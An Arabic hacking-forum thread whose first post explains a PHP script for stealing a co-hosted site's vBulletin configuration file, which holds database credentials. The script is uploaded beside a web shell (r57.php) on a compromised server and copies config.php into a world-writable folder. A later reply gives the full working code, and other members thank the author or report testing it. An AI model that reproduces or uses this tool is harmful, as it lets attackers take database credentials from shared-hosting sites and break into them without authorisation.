سكريبت بسيط لتخطي صلاحية اليوزر وقراءة الكونفيق

Red-D3v1L · 09-01-2009, 12:23 AM

بسم الله الرحمن الرحيم كيفكم اخواني انشا الله بخير

اليوم قمت ببرمجة ملف بسيط بالبي اتش بي

يقوم بسحب الكونفيق

نشوف كود السكريبت

خلينا نشرح عمله

طبعاً المسار الاول نعدله لمسار الكونفيق المراد سحبه

مثلاً عندنا كونفيق منتدى v B u l l e t i n

رح يكون مساره في الوضع الطبيعي

كود PHP:

/home/user/public_html/includes/config.php

مع ملاحظة تغير u s e r ليوزر الموقع

والمسار الثاني نعدله للمسار اللي بدنا نسحب الكونفيق عليه يعني مثلا معنا شيل على المسار التالي

كود PHP:

site.com/images/r57.php

طبعاً لازم المجلد يمتلك التصريح 777

طيب رح يكون المسار الثاني بهذا الشكل

كود PHP:

/home/user/public_html/images/zooz.txt

بحيث تغير كلمة u s e r ليوزر الموقع

واسم zooz.txt لاي اسم تريده

ونرفع السكريبت ونستعرضه

اذا كتب Done

يعني تمام سحب الملف , تروح تلاقيه بنفس المجلد اللي فيه الشيل وهو مجلد images

وازا كتب Not Done

يعني لم يتم سحب الملف , او المسار خاطئ

طبعاً تم تجربة السكريبت على جميع اصدارات p h p

وبالاحرى الاصدارين 5.2.9 + 5.2.10

والسيف مود اون , وتم قراءة الكونفيق

انشا الله يكون السكريبت عجبكم ونال رضاكم ,

وبالاخير اشكر اخوي محمد Hacker Attack صاحب الفكرة

في امان الله

بالمرفقات

Mr.Crazy ,hekar ,LeTh HaCkEr معجبون بهذا

المصدر: :: vBspiders Professional Network ::

s;vdfj fsd' gjo'd wghpdm hgd,.v ,rvhxm hg;,ktdr

KaLa$nikoV · 09-24-2009, 03:52 PM

كود PHP:

  
<body><title> Wget config t00l C0d3d by Red-D3v1l </title></body>

<?php

$Red = "/home/user/public_html/includes/config.php";

$zoz = "/home/user/public_html/images/config.txt";

$hack = copy($Red,$zoz);

if ($hack) {

echo " [~] Done";

}

else {

echo "not Done";

}

?>

khalid alhadethy · 09-27-2009, 02:16 AM

مشكوووووووووور اخي

hacker tablat · 09-28-2009, 07:45 PM

شكرااا اخي

من فضلك .. اعطينـا رابــط التحميل

انا بإنتظارك

KaLa$nikoV · 09-29-2009, 11:22 AM

انا اعدت كتابه السكربت بالرد الثاني

انسخه وضعه بمفكره واحفظه بامتداد
PHP

hacker tablat · 09-29-2009, 03:22 PM

شكراااا لك اخي

لقد نسخـت الكتابة لكنها تحوي خطأ في السطر 5
يرجـى الاصلاح

شكرااااااا

KaLa$nikoV · 10-01-2009, 12:20 PM

شكرا على التنبيه
تم اصلاح الخطأ اتمنا انه يعمل

LeTh HaCkEr · 08-19-2012, 07:23 PM

مشكووووووور جاري التجربه

‌‌‍‍ · 09-09-2012, 09:48 AM

مشكووووووور

tHe.hEx · 09-18-2012, 01:06 AM

مشكور

وجاري التجررررربة

Mr bhm · 10-15-2012, 08:38 PM

السلام عليك اخي
اين هو الرابط

MaFia · 10-15-2012, 08:58 PM

لو كان اضافة اكشنات افضل

ghost seven · 10-15-2012, 10:47 PM

مشكووووووووور يا غالي منتظر جديد ابداعاتك
وفقك الله

Mr.Crazy · 08-03-2014, 04:26 PM

شكرا شكرا ... تحية مني مستر كريزي

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
سكريبت CGI telnet رائع في تخطي الحماية و سحب الكونفيق	d4rK-h4ck3r	قـسـم أدوات واندكـسات الإختراق	43	05-07-2015 08:34 AM
تخطي صلاحية اليوزر(من خلال رفع البيرل وقراءة الكونفق ثم تغير الايندكس بقاهر اليهود)	AbO-Ra3d	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	15	03-10-2014 04:09 PM
التخطي والتنقل وقراءة الملفات في صلاحيات اليوزر	][رمز الجنوب][	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	3	04-14-2009 03:58 PM

سكريبت بسيط لتخطي صلاحية اليوزر وقراءة الكونفيق

قـسـم أدوات واندكـسات الإختراق